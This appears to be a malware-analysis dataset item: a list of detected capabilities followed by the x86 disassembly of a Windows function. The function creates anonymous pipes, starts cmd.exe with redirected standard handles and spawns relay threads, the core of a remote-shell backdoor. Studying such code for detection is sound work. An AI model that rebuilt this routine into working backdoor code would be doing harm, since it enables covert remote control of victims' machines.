Function at 0x4015b7
Capabilities:
Create pipe
Create process on windows
Create thread
Create two anonymous pipes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xb0
mov eax, dword [str.dir_n]
mov dword [ebp - 0x44], eax
mov cl, byte [0x412160]
mov byte [ebp - 0x40], cl
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x2c], 0xc
mov dword [ebp - 0x24], 1
mov dword [ebp - 0x28], 0
push 0
lea edx, [ebp - 0x2c]
push edx
lea eax, [ebp - 0x48]
push eax
lea ecx, [ebp - 0x30]
push ecx
call dword [sym.imp.KERNEL32.dll_CreatePipe]
push 0
lea edx, [ebp - 0x2c]
push edx
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0x5c]
push ecx
call dword [sym.imp.KERNEL32.dll_CreatePipe]
push 2
push 1
push 0
lea edx, [ebp - 0x1c]
push edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
mov eax, dword [ebp - 0x48]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
jne 0x401656
push 0x412164
call fcn.00401256
add esp, 4
push 2
push 0
push 0
lea ecx, [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
mov edx, dword [ebp - 0x30]
push edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
jne 0x401689
push 0x412174
call fcn.00401256
add esp, 4
push 2
push 0
push 0
lea eax, [ebp - 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
mov ecx, dword [ebp - 0x38]
push ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
jne 0x4016bc
push str.DuplicateHandle
call fcn.00401256
add esp, 4
mov edx, dword [ebp - 0x30]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x4016d7
push 0x412194
call fcn.00401256
add esp, 4
mov eax, dword [ebp - 0x38]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x4016f2
push 0x4121a0
call fcn.00401256
add esp, 4
push 0xfffffffffffffff6
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov dword [0x413370], eax
cmp dword [0x413370], 0xffffffff
jne 0x401715
push str.GetStdHandle
call fcn.00401256
add esp, 4
push 0x44
push 0
lea ecx, [ebp - 0xac]
push ecx
call fcn.00406470
add esp, 0xc
mov dword [ebp - 0xac], 0x44
push 0x10
push 0
lea edx, [ebp - 0x10]
push edx
call fcn.00406470
add esp, 0xc
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0x74], eax
mov ecx, dword [ebp - 0x48]
mov dword [ebp - 0x70], ecx
mov edx, dword [ebp - 0x48]
mov dword [ebp - 0x6c], edx
mov eax, dword [ebp - 0x80]
or ah, 1
mov dword [ebp - 0x80], eax
lea ecx, [ebp - 0x10]
push ecx
lea edx, [ebp - 0xac]
push edx
push 0
push 0
push 0
push 1
push 0
push 0
push str.cmd.exe
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x10]
mov dword [0x41336c], eax
mov ecx, dword [ebp - 0x48]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x4017a7
push 0x4121c4
call fcn.00401256
add esp, 4
mov edx, dword [ebp - 0x5c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x4017c2
push 0x4121d0
call fcn.00401256
add esp, 4
mov eax, dword [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x4017dd
push str.CloseHandle
call fcn.00401256
add esp, 4
mov ecx, dword [ebp + 0x18]
mov dword [ebp - 0x68], ecx
mov edx, dword [ebp - 0x4c]
mov dword [ebp - 0x64], edx
mov eax, dword [0x41336c]
mov dword [ebp - 0x60], eax
lea ecx, [ebp - 0xb0]
push ecx
push 0
lea edx, [ebp - 0x68]
push edx
push 0x40147c
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x401823
push 0x4121e8
call fcn.00401256
add esp, 4
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x58], eax
mov ecx, dword [ebp + 0x18]
mov dword [ebp - 0x54], ecx
mov edx, dword [0x41336c]
mov dword [ebp - 0x50], edx
lea eax, [ebp - 0x3c]
push eax
push 0
lea ecx, [ebp - 0x58]
push ecx
push 0x40132b
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jne 0x401867
push str.CreateThread
call fcn.00401256
add esp, 4
push 0xffffffffffffffff
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
mov esp, ebp
pop ebp
ret